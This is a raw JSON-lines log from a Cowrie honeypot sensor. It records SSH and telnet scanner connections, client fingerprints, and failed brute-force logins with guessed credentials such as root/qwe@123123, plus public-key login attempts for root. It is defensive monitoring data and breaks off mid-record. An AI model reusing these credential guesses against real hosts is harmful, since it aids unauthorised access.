{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:19:21.683032Z","src_ip":"218.56.160.82","session":"bee94a192361","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123123","message":"login attempt [root/qwe@123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:19:21.914593Z","src_ip":"209.99.190.200","session":"f5bedf549294","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:19:21.951971Z","src_ip":"218.56.160.82","session":"bee94a192361","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:19:23.014708Z","src_ip":"209.99.190.200","session":"f5bedf549294","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gj123456","message":"login attempt [root/gj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:19:23.046029Z","src_ip":"218.56.160.82","session":"bee94a192361","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33794,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd79a0899353","protocol":"telnet","message":"New connection: 170.64.224.25:33794 (159.203.135.109:23) [session: dd79a0899353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:19:24.240410Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:19:24.317072Z","src_ip":"218.56.160.82","session":"bee94a192361","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":45590,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e50047e7a89","protocol":"telnet","message":"New connection: 69.6.249.0:45590 (10.17.0.5:23) [session: 3e50047e7a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:19:29.368891Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.5.89.227","src_port":55630,"dst_ip":"10.17.0.5","dst_port":23,"session":"b477b5d83f7f","protocol":"telnet","message":"New connection: 112.5.89.227:55630 (10.17.0.5:23) [session: b477b5d83f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:19:47.650184Z"}
{"eventid":"cowrie.session.closed","duration":40.01508951187134,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:20:09.383868Z","src_ip":"69.6.249.0","session":"3e50047e7a89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.08525848388672,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:20:10.325536Z","src_ip":"170.64.224.25","session":"dd79a0899353","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"218.56.160.82","src_port":36376,"dst_ip":"10.17.0.5","dst_port":22,"session":"a19baab46fde","protocol":"ssh","message":"New connection: 218.56.160.82:36376 (10.17.0.5:22) [session: a19baab46fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:20:13.744064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:20:13.749988Z","src_ip":"218.56.160.82","session":"a19baab46fde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:20:13.997150Z","src_ip":"218.56.160.82","session":"a19baab46fde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"welcome","message":"login attempt [erpnext/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:20:15.010068Z","src_ip":"218.56.160.82","session":"a19baab46fde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:20:16.259760Z","src_ip":"218.56.160.82","session":"a19baab46fde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.511221647262573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:20:18.161288Z","src_ip":"112.5.89.227","session":"b477b5d83f7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":36674,"dst_ip":"159.203.135.109","dst_port":23,"session":"384fbb7c028c","protocol":"telnet","message":"New connection: 137.184.5.188:36674 (159.203.135.109:23) [session: 384fbb7c028c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:20:18.754709Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.57.219.18","src_port":54242,"dst_ip":"10.17.0.5","dst_port":22,"session":"5572fee4d4d3","protocol":"ssh","message":"New connection: 198.57.219.18:54242 (10.17.0.5:22) [session: 5572fee4d4d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:20:45.482945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:20:45.488872Z","src_ip":"198.57.219.18","session":"5572fee4d4d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:20:45.572232Z","src_ip":"198.57.219.18","session":"5572fee4d4d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal789","message":"login attempt [portal/portal789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:20:45.822752Z","src_ip":"198.57.219.18","session":"5572fee4d4d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.247.120","src_port":34284,"dst_ip":"159.203.135.109","dst_port":22,"session":"93e063a9785f","protocol":"ssh","message":"New connection: 173.236.247.120:34284 (159.203.135.109:22) [session: 93e063a9785f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:20:53.828472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:20:53.832578Z","src_ip":"173.236.247.120","session":"93e063a9785f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:20:53.843596Z","src_ip":"173.236.247.120","session":"93e063a9785f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blast2024","message":"login attempt [root/blast2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:20:53.905422Z","src_ip":"173.236.247.120","session":"93e063a9785f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:20:54.919364Z","src_ip":"173.236.247.120","session":"93e063a9785f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.56.160.82","src_port":27780,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4fb44714e9d","protocol":"ssh","message":"New connection: 218.56.160.82:27780 (10.17.0.5:22) [session: d4fb44714e9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:06.914853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:06.917581Z","src_ip":"218.56.160.82","session":"d4fb44714e9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:07.164408Z","src_ip":"218.56.160.82","session":"d4fb44714e9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456.abc","message":"login attempt [root/123456.abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:08.189515Z","src_ip":"218.56.160.82","session":"d4fb44714e9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:09.443084Z","src_ip":"218.56.160.82","session":"d4fb44714e9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.214.194","src_port":52218,"dst_ip":"10.17.0.5","dst_port":22,"session":"b294745fb696","protocol":"ssh","message":"New connection: 208.115.214.194:52218 (10.17.0.5:22) [session: b294745fb696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:09.888642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:09.893447Z","src_ip":"208.115.214.194","session":"b294745fb696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:09.975091Z","src_ip":"208.115.214.194","session":"b294745fb696","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:a6:d5:ff:92:85:c4:a2:fe:a1:35:fc:f7:92:db:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBe31yV3TyV0KNyiz/2ivn7s95HkEiHSRgVJV3Rc8fmMzSHSSyTbCRBu8+XJXRIjLv+iZyzoz4+UZJgTAit9TRJs9MjepuONRQlQlthIE+QF8E+PnwqmLyGHUQI3vg7SPrWx8NSN4Ky2ovdqt66y41DGfbcpM2ATjZOxJ/BFECdKQ4+S6VII55ukPD8RqKuzwUHYQJfgQiXLYn9TKK1w9wCsK9OkUbfNgn6D7m71tpirZ51CfquPjJSWkea2BiXpYcj8OOVFbEevJDaawGUPf4vbNfH+MznsWri5E3+PaVTdKC1XZNse1cCxmwf6DWEu9iFXTDEkWr/IAR/invikEadv2L65TBd+E7J/ZOlX/WAG+aLJSpiifCNicMo7sRTgsVtOyk6XfwIRog53F+j8dtaK7AtvPDlco1bVNEdTx27zN5TBN7JhgfQpTdE/PxJPYOp71ei1RJlqtGTDC4WZdkid/bLiFgJy2lHZAh5ClfMEIFHOTH9ehIWbe0CIp0GVH6n0CCg5E91xKDZnj1z8+gkLdXBijbmoOUMiBQaCVYCd1Z8lEqqc+gVbXnQatQ0M1cuynrDPEKRb43Rhcw2qtqpxbYUmdAetzT5tsrdes9+fo4SC8KzLS3opJimTygWWy0KJFERH9ysW2tGjA1xM/4v/IX4/qQ/4OqJUpIKKZ4tQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:a6:d5:ff:92:85:c4:a2:fe:a1:35:fc:f7:92:db:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:10.342724Z","src_ip":"208.115.214.194","session":"b294745fb696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:a6:d5:ff:92:85:c4:a2:fe:a1:35:fc:f7:92:db:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBe31yV3TyV0KNyiz/2ivn7s95HkEiHSRgVJV3Rc8fmMzSHSSyTbCRBu8+XJXRIjLv+iZyzoz4+UZJgTAit9TRJs9MjepuONRQlQlthIE+QF8E+PnwqmLyGHUQI3vg7SPrWx8NSN4Ky2ovdqt66y41DGfbcpM2ATjZOxJ/BFECdKQ4+S6VII55ukPD8RqKuzwUHYQJfgQiXLYn9TKK1w9wCsK9OkUbfNgn6D7m71tpirZ51CfquPjJSWkea2BiXpYcj8OOVFbEevJDaawGUPf4vbNfH+MznsWri5E3+PaVTdKC1XZNse1cCxmwf6DWEu9iFXTDEkWr/IAR/invikEadv2L65TBd+E7J/ZOlX/WAG+aLJSpiifCNicMo7sRTgsVtOyk6XfwIRog53F+j8dtaK7AtvPDlco1bVNEdTx27zN5TBN7JhgfQpTdE/PxJPYOp71ei1RJlqtGTDC4WZdkid/bLiFgJy2lHZAh5ClfMEIFHOTH9ehIWbe0CIp0GVH6n0CCg5E91xKDZnj1z8+gkLdXBijbmoOUMiBQaCVYCd1Z8lEqqc+gVbXnQatQ0M1cuynrDPEKRb43Rhcw2qtqpxbYUmdAetzT5tsrdes9+fo4SC8KzLS3opJimTygWWy0KJFERH9ysW2tGjA1xM/4v/IX4/qQ/4OqJUpIKKZ4tQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:10.345377Z","src_ip":"208.115.214.194","session":"b294745fb696","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:c9:0e:cb:f8:33:71:1a:12:6b:f2:6c:cc:9a:0f:92","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAN83x22mZwjnK04FWqTrTlFaqRAxy2iUgyBxYgOdCLrqt//gPHHKTuPZn19Cc1tUZBMb5WiGHH5gKhXJZJv/GuTGhCuxYRFIbMPrcVz8nJsAqeS7g/lY4X0L6Pgeiddo0ok5UCa5o2kYPoCbU3jeptorndKDK/5OiKMRNaBaT//tAAAAFQC3Yu1r3PZQnl8/CtVxk2rGU0ZJ5QAAAIBv2Kznb7quBF6bAwGYFAlJGKi8Pd3f185wvySOKzPRBZhu29ZS5ZUo/tgFQkRmHCrKkaGyknifB1NFmYpCfFmdS4payGFuDA0IfVSQ2KqWxkOpmvxQrUbulUv96b3CFCTUshlOKT7G8U0gk4l6u/hiv+XjF7C+3oN4VumP9n7L/gAAAIEAzWdR3qR+UoUmc6g/mlPrDl9s0lQ9SjvGhRuSybDftZgE7A4cctuNPRKiSxDMsTxGvpC+wSZY1rL5FxelyhekfPWaqHzpaCRf2uDcLtRK7lvZIMjLEO6M6VHEk7CXZ4Dh+Bz/cB4FaZNoVQdm/RKj1sZ6kXtgjNmGD5kesfI3c8o=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint ef:c9:0e:cb:f8:33:71:1a:12:6b:f2:6c:cc:9a:0f:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:10.422677Z","src_ip":"208.115.214.194","session":"b294745fb696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:c9:0e:cb:f8:33:71:1a:12:6b:f2:6c:cc:9a:0f:92","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAN83x22mZwjnK04FWqTrTlFaqRAxy2iUgyBxYgOdCLrqt//gPHHKTuPZn19Cc1tUZBMb5WiGHH5gKhXJZJv/GuTGhCuxYRFIbMPrcVz8nJsAqeS7g/lY4X0L6Pgeiddo0ok5UCa5o2kYPoCbU3jeptorndKDK/5OiKMRNaBaT//tAAAAFQC3Yu1r3PZQnl8/CtVxk2rGU0ZJ5QAAAIBv2Kznb7quBF6bAwGYFAlJGKi8Pd3f185wvySOKzPRBZhu29ZS5ZUo/tgFQkRmHCrKkaGyknifB1NFmYpCfFmdS4payGFuDA0IfVSQ2KqWxkOpmvxQrUbulUv96b3CFCTUshlOKT7G8U0gk4l6u/hiv+XjF7C+3oN4VumP9n7L/gAAAIEAzWdR3qR+UoUmc6g/mlPrDl9s0lQ9SjvGhRuSybDftZgE7A4cctuNPRKiSxDMsTxGvpC+wSZY1rL5FxelyhekfPWaqHzpaCRf2uDcLtRK7lvZIMjLEO6M6VHEk7CXZ4Dh+Bz/cB4FaZNoVQdm/RKj1sZ6kXtgjNmGD5kesfI3c8o=","type":"ssh-dss","message":"public key login attempt for [root] 